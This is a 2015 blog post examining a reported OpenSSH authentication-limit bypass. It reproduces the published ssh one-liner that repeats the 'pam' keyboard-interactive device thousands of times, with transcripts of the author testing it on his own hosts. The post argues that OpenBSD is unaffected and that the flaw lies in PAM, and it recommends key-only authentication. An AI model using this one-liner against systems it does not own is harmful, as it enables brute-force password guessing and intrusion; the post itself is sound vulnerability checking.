© 2015 Peter N. M. Hansteen
Much has been written about a purported OpenSSH vulnerability. On closer inspection, the reports actually got most of their facts wrong. Read on for the full story.
It all started with a blog post dated July 16, 2015, titled OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass), where the TL;DR is that it's possible to get an almost infinite number of tries at authentication -- good for bruteforce password guessing, for example -- if you only tickle the OpenSSH server just so.
Note: This piece is also available with trackers but nicer formatting here.
This sounded interesting and scary enough that I wanted to try it out myself. The blog quite helpfully supplies a one-liner that you can cut and paste to your own conmand line to check whether the systems you have within reach are indeed vulnerable.
Here's a transcript of running those tests on the machines I happened to try (Disclaimer: The recorded sessions here are from a second try, a few days after the first). First, my home gateway, running a recent OpenBSD 5.8-beta:
[Fri Jul 24 14:58:31] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` skapet.bsdly.net Host key fingerprint is SHA256:maeVFpNMibnkcwPSmjV4QBXfz5J97XLta6e2CrzsAYQ +---[ECDSA 256]---+ | .o=o+.. | | o.X+.o | | EO.+* . | | o.+oo+ = .| | So=.o + o| | B . o.| | . + . +| | . + .=.| | .+ .o+++| +----[SHA256]-----+ razz@skapet.bsdly.net's password: Permission denied, please try again. razz@skapet.bsdly.net's password: Permission denied, please try again. razz@skapet.bsdly.net's password: Permission denied (publickey,password,keyboard-interactive). [Fri Jul 24 16:53:06] peter@elke:~$
[Fri Jul 24 16:53:06] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` delilah Host key fingerprint is SHA256:AO8rn6Va9+b3+7gdVUxby5zWQFaLnkIA6wcEsOVHukA +---[ECDSA 256]---+ | Eoo.+.. .+.+| | . +o+ . . .++B| | o oo+ . . O+| | ..+.. . . o .| | ...S. . o .| | .. . .| | . o o . | | + = .. . o.| | ..+ oo. .=+o| +----[SHA256]-----+ razz@delilah's password: Permission denied, please try again. razz@delilah's password: Permission denied, please try again. razz@delilah's password: Permission denied (publickey,password,keyboard-interactive). [Fri Jul 24 16:59:37] peter@elke:~$
[Fri Jul 24 17:05:13] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` nms Host key fingerprint is SHA256:fdFxpvSDLq3W9D1d8U6RzuYQcd0WzAmIFfJAzcIkD8I +---[RSA 2048]----+ | .. o+==ooo*oB| | E. ++++ o+X=| | ....oo*.| | . o.+ =| | S ...= ++| | .= =o+| | o . ++| | . .| | | +----[SHA256]-----+ razz@nms's password: Permission denied, please try again. razz@nms's password: Permission denied, please try again. razz@nms's password: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).
[Fri Jul 24 17:15:03] peter@elke:~$ ssh -lrazz -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` rosalita Host key fingerprint is SHA256:Ig6F8Au3f0KYNrzuc5qRrpZgY4Q/tz0bJrS0NZMxp1g +---[ECDSA 256]---+ |. | | o . | |o + . E . | |.= * o * | |..X * B S | |.=o@.= + | |+ *oBo+ | | =.oo=o. | |oo*+ .o | +----[SHA256]-----+ Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: Password for razz@rosalita: ^C
The question also came up in a thread on OpenBSD-misc, titled Alleged OpenSSH bug, where several OpenBSD developers commented. Do read the whole thread, but as we've already seen, it's easy to test whether your systems behave as described in the original blog post as well as this one.
And as OpenBSD developer Marc Espie says in his message,
Not surprisingly, as the patch clearly shows, the problem is right smack in the middle of USE_PAM code.I wouldn't call that an OpenSSH bug. I would call it a systemic design flaw in PAM. As usual. LOTS of security holes in authentication systems stem from PAM. Why ? Because that stuff is over designed. Difficult to configure. Gives you MORE than you need to hang yourself several times over. It's been that way for as long as I can remember.
As they say, do read the whole thing. TL;DR this time around is: OpenBSD is not vulnerable, and on the systems that are, changing the configuration to close this particular bruteforcing opportunity is trivial. As is checking the facts before writing up a story. (And as several correspondents have reminded me already -- switching your sshd to keys only authentication will let you sleep better at night.)